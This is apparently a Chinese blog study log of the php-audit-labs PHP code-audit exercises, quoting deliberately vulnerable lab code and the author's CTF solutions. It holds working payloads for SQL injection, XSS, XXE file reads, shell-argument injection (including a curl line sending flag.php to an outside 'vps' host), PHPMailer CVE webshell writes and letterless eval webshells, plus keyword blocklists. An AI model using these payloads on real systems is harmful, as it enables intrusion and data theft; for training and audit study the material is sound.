打算在代碼審計(jì)上入下坑。本來(lái)找了個(gè)不知名cms想審計(jì)一下的滴某。偶然間看到了星盟王嘆之師傅在用php-audit-labs練審計(jì),所以自己也打算練一下審計(jì)的技術(shù),畢竟自己審計(jì)功力太差了...p牛也曾經(jīng)說(shuō)過(guò),練習(xí)審計(jì)到能看懂一個(gè)完整的CMS就算有一定功底了涝开。所以就把php-audit-labs的全部都過(guò)一遍吧。
(最近也總算熟練了一下node跟python相關(guān)的開發(fā)入門。等之后找時(shí)間把java入門知識(shí)過(guò)一遍,再把ECMAscript6的基礎(chǔ)過(guò)一遍就差不多了)
Day1
in_array()
任意文件上傳漏洞碰镜。主要問(wèn)題在于in_array()
函數(shù)的使用不當(dāng)逃呼。如果未設(shè)置in_array()
第三個(gè)參數(shù)為true則我們可以通過(guò)上傳7shell.php
繞過(guò)檢查鳖孤。因?yàn)?code>7shell.php被轉(zhuǎn)換為7.
同樣出現(xiàn)在某cms中利用這點(diǎn)可以繞過(guò)進(jìn)行insert_into注入
當(dāng)in_array()繞過(guò)后輕松達(dá)成注入。
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
練習(xí)
config.php
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("連接失敗: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
這題的in_array()
并不是難點(diǎn)抡笼。因?yàn)橹灰猧d開頭為數(shù)字就能繞過(guò)了
主要問(wèn)題在于后面注入上苏揣。
所幸語(yǔ)句中會(huì)爆出sqlerror.在過(guò)濾了這些關(guān)鍵字的情況下仍可以使用報(bào)錯(cuò)函數(shù),select,from等基本就足夠得到flag了。
不過(guò)這里存在一個(gè)細(xì)節(jié),就是updatexml這樣的報(bào)錯(cuò)函數(shù)如果語(yǔ)句中不包含特殊字符也就是我們?cè)瓉?lái)經(jīng)常使用的0x7e之類的字符推姻,爆出的結(jié)果將會(huì)出現(xiàn)字符丟失的現(xiàn)象平匈。
所以找替代的字符串連接函數(shù)即可.make_set()
?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
其實(shí)自己原來(lái)做sql注入的題目也曾搜索過(guò)相關(guān)的內(nèi)容。比如在concat被過(guò)濾的情況下不使用group_concat
將所有查詢結(jié)果都列出來(lái)。當(dāng)時(shí)發(fā)現(xiàn)make_set()
是能起到concat一樣的效果的增炭。但是注意的是,make_set
至少接收兩個(gè)參數(shù),因此必須使用逗號(hào)忍燥。concat
類則不然。
Day2
filter_var()
題目主要是在兩處存在過(guò)濾隙姿。首先是twig模板里出現(xiàn)的{{link|escape}}(這種寫法屬于twig中 {{表達(dá)式|filters}} 的寫法)
然后是一個(gè)filter_var()函數(shù)
這里escape過(guò)濾器調(diào)用的實(shí)際上是htmlspecialchars()
函數(shù)梅垄。作用自然是將常見(jiàn)的特殊字符轉(zhuǎn)為實(shí)體字符。
而filter_var()
在curl的ssrf中就曾見(jiàn)過(guò)输玷。主要檢查一個(gè)url是否合法队丝。
因此代碼邏輯主要是經(jīng)過(guò)過(guò)濾后生成一個(gè)a標(biāo)簽。
那么可能存在self-xss
官方的payload
?nextSlide=javascript://comment%250aalert(1)
達(dá)到彈窗的self-xss. 使用javascript偽協(xié)議繞過(guò)
巧妙的就是利用filtervar的缺陷輕松使用xxx://的形式繞過(guò)檢查欲鹏。然后也可以進(jìn)行js語(yǔ)句的執(zhí)行机久。重要的一點(diǎn)就是//在js中是注釋符。因此使用%250a(double urlencode %0a 以繞過(guò)瀏覽器自動(dòng)的解碼)將后面的內(nèi)容換行到下一行貌虾。成功執(zhí)行alert.
某cms中的利用是,在訪問(wèn)404頁(yè)面存在這樣的代碼
<code><?php echo current_url(); ?></code>
current_url()方法接受完整的404url參數(shù)吞加。返回最后一個(gè)/后的內(nèi)容拼接進(jìn)code代碼塊。即可以插入xss代碼<script>alert(1)</script>
導(dǎo)致了xss
payloadhttp://localhost/anchor/index.php/<script>alert('1')</script>
練習(xí)
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
一個(gè)明顯的curl尽狠。而且還是經(jīng)典的可繞過(guò)的filter_var()
+parse_url()
+exec()
執(zhí)行curl的配置衔憨。
那現(xiàn)在關(guān)鍵是利用這個(gè)來(lái)進(jìn)行文件讀取。
比如把之前的可繞過(guò)filter_var()
+parse_url()
的payload拿出來(lái)
demo://evil.com:80;sec-redclub.com:80/
demo://evil.com:80,sec-redclub.com:80/
這里想要執(zhí)行命令讀取文件袄膏。那么恰好可以用到linux中使用分號(hào)進(jìn)行命令分割的作用践图。
demo://%22;ls;%23;sec-redclub.com:80/
然后為了讀文件使用<
代替空格
demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/
單純針對(duì)filter_var的話把七月火師傅的payload放出來(lái)
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一個(gè)payload的#符號(hào),請(qǐng)換成對(duì)應(yīng)的url編碼 %23
Day3
class_exists()&&內(nèi)部類xxe
上面的代碼有一個(gè)比較過(guò)時(shí)的路徑穿越的文件包含的洞沉馆。
即調(diào)用class_exists()
函數(shù)時(shí)會(huì)自動(dòng)加載__autoload()码党。達(dá)成文件包含。如果是ph5-5.3則可以構(gòu)造路徑穿越斥黑。
還有一個(gè)洞比較有意思揖盘。實(shí)例化類的類名和傳入類的參數(shù)均可控。此時(shí)即使沒(méi)有惡意類我們也能用SimpleXMLElement構(gòu)造xxe攻擊锌奴。這點(diǎn)我在buu上做
SUCTF 2018 Homework這題時(shí)也用到了它達(dá)成xxe并進(jìn)一步使用xxe打ssrf
某cms的利用是一個(gè)可控變量帶來(lái)的反序列化XXE.具體利用不談兽狭。簡(jiǎn)單說(shuō)下gadget最后的利用。類中實(shí)現(xiàn)了一個(gè)反射類實(shí)例化鹿蜀。而類名可控箕慧。之后連反射類的參數(shù)也是可控的。導(dǎo)致我們可以任意實(shí)例化SimpleXMLElement并構(gòu)造xxepayload進(jìn)行攻擊茴恰。
根據(jù)實(shí)際情況構(gòu)造payload
{"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}
這里幾個(gè)參數(shù)尤其是2那個(gè)印象很深刻,同時(shí)也很必要颠焦。SUCTF那題就是如此
{"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}
練習(xí)
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>
利用經(jīng)過(guò)上面的鋪墊就很簡(jiǎn)單了。直接用可控的參數(shù)進(jìn)行xxe即可往枣。但是需要注意的是,xxe需要進(jìn)行php文件流來(lái)進(jìn)行內(nèi)容讀取伐庭。因?yàn)?code>< > & ' "等字符會(huì)使xml解析出錯(cuò)粉渠。不過(guò)用base64讀文件這種解決辦法想必早就是輕車熟路了吧。
?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>¶m2=2
假如題目不知道flag的名字還可以用另外的類進(jìn)行文件名的讀取似忧。
?name=GlobIterator¶m=./*.php¶m2=0
作用與glob差不多渣叛。
Day4
str_pos()錯(cuò)誤使用
php許多函數(shù)因?yàn)槿躅愋突蚝谀ХㄕQ生了各種各樣的漏洞。str_pos()也是如此盯捌。上面的代碼看似嚴(yán)格限制了內(nèi)容不能含有<
與>
淳衙。然而str_pos返回的值可以是0.
即匹配的字符串首個(gè)字符就是<
,>
饺著。既然如此箫攀,!strpos()
返回的就是真值幼衰。成功繞過(guò)靴跛。
payload:
<"><injected-tag%20property="&pass=<injected-tag>
同樣類似的漏洞也常見(jiàn)于preg_match()這樣的函數(shù)。因?yàn)樗赡軙?huì)因?yàn)閭魅霐?shù)組或者正則回溯導(dǎo)致返回false值渡嚣。如果開發(fā)者所寫的判斷只是!preg_match()
就很容易繞過(guò)了梢睛。
某CMS中的問(wèn)題也是弱類型的鍋。使用若類型相等判斷時(shí)识椰,假如數(shù)據(jù)庫(kù)中存儲(chǔ)的值是空字符串绝葡。那么當(dāng)null與""進(jìn)行弱類型相等時(shí)將返回true.
null=='' //true
"0.0"=="0" //true
"0."=="0" //true
"0e"=="0" //true
練習(xí)
這是攻防世界上做過(guò)的原題。應(yīng)該是lottery這個(gè)把腹鹉。用到的是json的弱類型藏畅。json弱類型判相等時(shí),只要傳入true與非零數(shù)字功咒。結(jié)果都將返回true
json弱類型比較出名的一個(gè)比較就是數(shù)字與字符串之間的轉(zhuǎn)換
0=="0a....sds"
12=="12fw...sd"
789=="789asabxz"
字符串會(huì)被直接截取前面的純數(shù)字部分進(jìn)行判斷
Day5
escapeshellcmd()+escapeshellarg()
主體上就是一個(gè)過(guò)濾了后的mail函數(shù)執(zhí)行愉阎。
mail函數(shù)的參數(shù)是這樣的
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)
由于默認(rèn)調(diào)用的是linux的sendmail函數(shù),所以可以在message
中寫入惡意代碼力奋。接著由additional_parameters 指定額外參數(shù)榜旦,從而寫入在指定目錄寫入文件。
但是景殷,php的mail函數(shù)也在底層默認(rèn)執(zhí)行了一層escapeshellcmd()
函數(shù)章办,那么顯然轉(zhuǎn)義了我們的惡意代碼。
不過(guò)滨彻,本題代碼還有一處經(jīng)典的escapeshellarg()
。如果escapeshellarg()
+escapeshellcmd()
搭配使用挪蹭,將出現(xiàn)特殊字符逃逸的問(wèn)題亭饵。
buu上也有一個(gè)類似的題目.這里則借用項(xiàng)目里的例子簡(jiǎn)單介紹下
127.0.0.1' -v -d a=1
#escapeshellarg
'127.0.0.1'\'' -v -d a=1'
#escapeshellcmd
'127.0.0.1'\\'' -v -d a=1\'
此時(shí)最后一步可以看出,\\
將被解釋為\
不再起到轉(zhuǎn)義的作用梁厉,而是作為換行符辜羊。因此payload變?yōu)橄仁?code>127.0.0.1踏兜,再-v -d
-d對(duì)應(yīng)的數(shù)據(jù)為a=1'
.
比如CVE-2016-10033 跟CVE-2016-10045的兩個(gè)payload
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
前者沒(méi)有escapeshellcmd直接打。后者escapeshellcmd后又加了一層escapeshellarg導(dǎo)致字符逃逸八秃。
練習(xí)
//index.php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>
很明顯的變量覆蓋碱妆,之后要繞過(guò)waf。再接下來(lái)就是escapeshellsmd/arg的搭配進(jìn)行命令執(zhí)行了昔驱。
首先要解決的是疹尾,我們必須繞過(guò)preg_match的限制才能傳入flag變量。因此要利用好它寫好的這個(gè)功能骤肛。
首先這里利用了可變變量的特性纳本。假設(shè)我們提交
?flag=test
post:_GET[flag]=test
當(dāng)開始遍歷 $_POST
超全局?jǐn)?shù)組的時(shí)候, $__k
代表 _GET[flag] 腋颠,所以 $$__k
就是 $_GET[flag]
繁成,即 test 值,此時(shí) $$__k == $__v
成立淑玫,變量 $_GET[flag]
就被 unset 了
而接下來(lái)下面又有一個(gè)變量覆蓋
if($_POST) extract($_POST, EXTR_SKIP);
所以直接得到$_GET[flag]=test
繞過(guò)第一層
第二層只需利用0e的MD5弱類型比較
最后是curl的命令執(zhí)行
http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
似乎當(dāng)curl版本變高后巾腕,將不再能執(zhí)行。
curl '127.0.0.1'\''
Day6
正則不當(dāng)導(dǎo)致路徑穿越
任意文件刪除漏洞絮蒿。主要是preg_replace()
函數(shù)的使用不當(dāng)尊搬。忽略了../../
這種路徑「杈叮可以使用路徑穿越進(jìn)行任意文件刪除
練習(xí)
// index.php
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
練習(xí)里的正則寫的十分罕見(jiàn)毁嗦。其實(shí)使用到的是php的字符類。除了一看就懂的upper這些回铛,其他的字符類的含義是
graph 空格以外的可打印字符
punct 打印字符狗准,不包括字母數(shù)字
主要函數(shù)里,第一個(gè)正則表示匹配到可打印字符12個(gè)以上;第二個(gè)正則表示把連續(xù)的符號(hào)茵肃、數(shù)字腔长、大寫、小寫验残,作為一段捞附,至少分六段;第三個(gè)正則表示輸入的字符串至少含有符號(hào)、數(shù)字您没、大寫鸟召、小寫中的三種類型。
最后與數(shù)字進(jìn)行弱類型比較氨鹏。
payload
42.00e+00000
紅日的文章里還提到了一個(gè)配置不當(dāng)寫shell的問(wèn)題欧募。
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
這個(gè)是不帶修飾符模式的正則匹配.
第一種方法
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a
第一個(gè)payload寫入內(nèi)容后只有一個(gè)單引號(hào)被轉(zhuǎn)義的問(wèn)題。而第二部分再傳入一個(gè)a時(shí)就會(huì)因?yàn)?code>.*匹配無(wú)數(shù)次而把\
換掉
還有兩種preg_replace的方法仆抵、這里提下第二種跟继,也就是還適用于單行(非貪婪)模式的payload种冬。之前安恒的套娃web2里出現(xiàn)過(guò)。
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option=$0
其最后的效果是下面這樣的
<?php
$option='$option=';phpinfo();';';
Day7
parse_str()變量覆蓋
parse_str的作用就是解析字符串并且注冊(cè)成變量舔糖,它在注冊(cè)變量之前不會(huì)驗(yàn)證當(dāng)前變量是否存在娱两,所以會(huì)直接覆蓋掉當(dāng)前作用域中原有的變量。
所以此處存在的變量問(wèn)題就是parse_str()
處理了我們可控的參數(shù)后,是可以起到控制全局變量的效果的金吗。因此可以控制$config
變量及其對(duì)應(yīng)的參數(shù)十兢。達(dá)成變量覆蓋。
解決這類變量覆蓋問(wèn)題的最好方法還是通過(guò)檢查某一變量是否已經(jīng)設(shè)定過(guò)了(isset()
)辽聊。這樣在沒(méi)有設(shè)定過(guò)變量的else分支才能安全使用parse_str()
練習(xí)
//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
第一部分是一個(gè)比較刻意的parse_str()
變量覆蓋的用例纪挎。只要解決md5弱類型比較的問(wèn)題就好了
?id=a[0]=s878926199a
第二部分先是注意一個(gè)referer頭要帶上。之后就是一個(gè)讀flag的問(wèn)題了跟匆。因?yàn)閒lag的內(nèi)容會(huì)在掛起0.1s然后被替換掉异袄。所以需要我們?nèi)l件競(jìng)爭(zhēng)。當(dāng)然這里上傳目錄是固定的玛臂。所以就可以放心發(fā)包了烤蜕。
Day8
preg_replace/e
這是一個(gè)自己剛了解CTF不久時(shí)接觸的一個(gè)preg_replace()
在/e
下存在代碼執(zhí)行的漏洞了。當(dāng)然這個(gè)洞是php5.5版本的
我們的參數(shù)可以控制preg_replace的第一迹冤,三個(gè)參數(shù)讽营。達(dá)成任意代碼執(zhí)行。
然后當(dāng)時(shí)也是讀到一篇文章專門講到這里payload的構(gòu)造
原本官方的payload
/?.*={${phpinfo()}}
如果GET請(qǐng)求的參數(shù)名存在非法字符泡徙,PHP會(huì)將其替換成下劃線橱鹏,即.*
會(huì)變成 _*
而實(shí)際可行的payload
\S*=${phpinfo()}
練習(xí)
// index.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
// index2.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
已經(jīng)司空見(jiàn)慣的無(wú)數(shù)字字母webshell書寫了
留一個(gè)FUZZ腳本
<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
$ch = '{'^ chr($i);
if (in_array($ch, $a , true)) {
echo "{ ^ chr(".$i.") = $ch<br>";
}
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);
?>
payload1
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
payload2
$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();
上次做36d的某道題自己用了最極限的無(wú)數(shù)字字母且不能異或取反的webshell。也就是通配符加上php臨時(shí)文件命令執(zhí)行堪藐。那個(gè)應(yīng)該算是比較難用的莉兰,但可以解決大部分waf了
Day9
str_replace()過(guò)濾不當(dāng)
一個(gè)比較明顯的過(guò)濾函數(shù)問(wèn)題。它只是將../
替換為空礁竞。那么很容易就能使用....//
進(jìn)行雙寫繞過(guò)
然后就是require_once()
的文件包含了糖荒。
CMS實(shí)例就是造成路徑穿越,得到任意文件讀取。
當(dāng)然雙寫/url二次編碼進(jìn)行路徑穿越的技巧其實(shí)也算很常見(jiàn)了模捂。
練習(xí)
/ index.php
<?php
include 'config.php';
include 'function.php';
$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
die('連接數(shù)據(jù)庫(kù)失敗');
}
$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
}
else die($conn->error);
if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
<form action="index.php" method="post">
<p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
</form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
while($row = $result->fetch_row()){
echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
}
echo "</table></center>";
}
$conn->close();
?>
// function.php
<?php
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}
function convert($str){
return htmlentities($str);
}
$limit_words = array('造反' => '造**', '法輪功' => '法**');
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>
// config.php
<?php
$servername = "localhost";
$username = "hongrisec";
$password = "hongrisec";
$dbname = "day9";
?>
# 搭建CTF環(huán)境使用的sql語(yǔ)句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');
可控的msg變量被拼接進(jìn)sql語(yǔ)句捶朵。但是卻經(jīng)過(guò)了html實(shí)體編碼,轉(zhuǎn)義,過(guò)濾個(gè)別詞的操作。
不過(guò),在function.php卻存在很明顯的變量覆蓋漏洞狂男。那么我們可以通過(guò)覆蓋$limit_words
數(shù)組综看,來(lái)逃逸單引號(hào).
最后payload
1%00' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))#&limit_words[\0\]=
1%00' and updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1))#&limit_words[\0\]=
Day10
程序判錯(cuò)未exit()
這里的問(wèn)題主要是:代碼雖然有相應(yīng)的防御操作,但是程序未立即停止退出岖食,導(dǎo)致程序繼續(xù)執(zhí)行的問(wèn)題
此處extract()
得到了一個(gè)變量覆蓋的利用
加上assert()
寓搬,所以pi變量直接給webshell代碼即可
我個(gè)人一次體驗(yàn)比較深的經(jīng)歷是:在htb的某個(gè)靶機(jī)中。有一處php代碼中曾經(jīng)限定只有指定用戶訪問(wèn)(檢查session),才會(huì)顯示其ssh密鑰县耽。而此時(shí)我們的權(quán)限是www-data.看似無(wú)法獲得ssh密鑰,但是其代碼中出現(xiàn)了疏忽,在對(duì)user的session判別后沒(méi)有立即exit()
.那么當(dāng)我們以www-data直接本地curl這一網(wǎng)頁(yè)時(shí),將可以得到密鑰,進(jìn)而提權(quán)句喷。
練習(xí)
// index.php
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("連接失敗: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查詢結(jié)果為:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查詢的對(duì)象id值不能為空!");
?>
顯然,程序如果檢測(cè)到非法字符或單詞兔毙,都會(huì)將其替換成字符串 HongRi 唾琼,然而并沒(méi)有立即退出,這樣攻擊者輸入的攻擊語(yǔ)句還是會(huì)繼續(xù)被帶入數(shù)據(jù)庫(kù)查詢澎剥。只不過(guò)這里關(guān)鍵詞都被替換成了字符串 HongRi
簡(jiǎn)單的使用benchmark替換sleep即可盲注
-1 or if(ascii(mid((select flag from flag),1,1))=115,benchmark(200000000,7^3^8),0)
Day11
php反序列化
(第11行正則表達(dá)式應(yīng)改為:'/O:\d:/')
首先確認(rèn)了存在反序列化锡溯。且數(shù)據(jù)是cookie可控。那么考慮下繞過(guò)執(zhí)行反序列化哑姚。
那么看下loaddata里的限制
開頭不能是O:
,即反序列化內(nèi)容不為對(duì)象
同時(shí)需要不能匹配字符串為O:任意十進(jìn)制:
如果只是第一部分當(dāng)然可以使用數(shù)組繞過(guò)祭饭。但是這樣第二部分還是會(huì)匹配到數(shù)組中的對(duì)象成分。
這里用到的是一個(gè)比較老的繞過(guò)方法了叙量。即使用O:+
繞過(guò)倡蝙。而原理可以涉及到底層源碼。函數(shù)遇到+
號(hào)時(shí)會(huì)繼續(xù)向下判斷绞佩,因此可以正常反序列化寺鸥。
最后就能成功執(zhí)行寫文件webshell了。
練習(xí)
<?php
include "config.php";
class HITCON{
public $method;
public $args;
public $conn;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function source() {
highlight_file(__FILE__);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
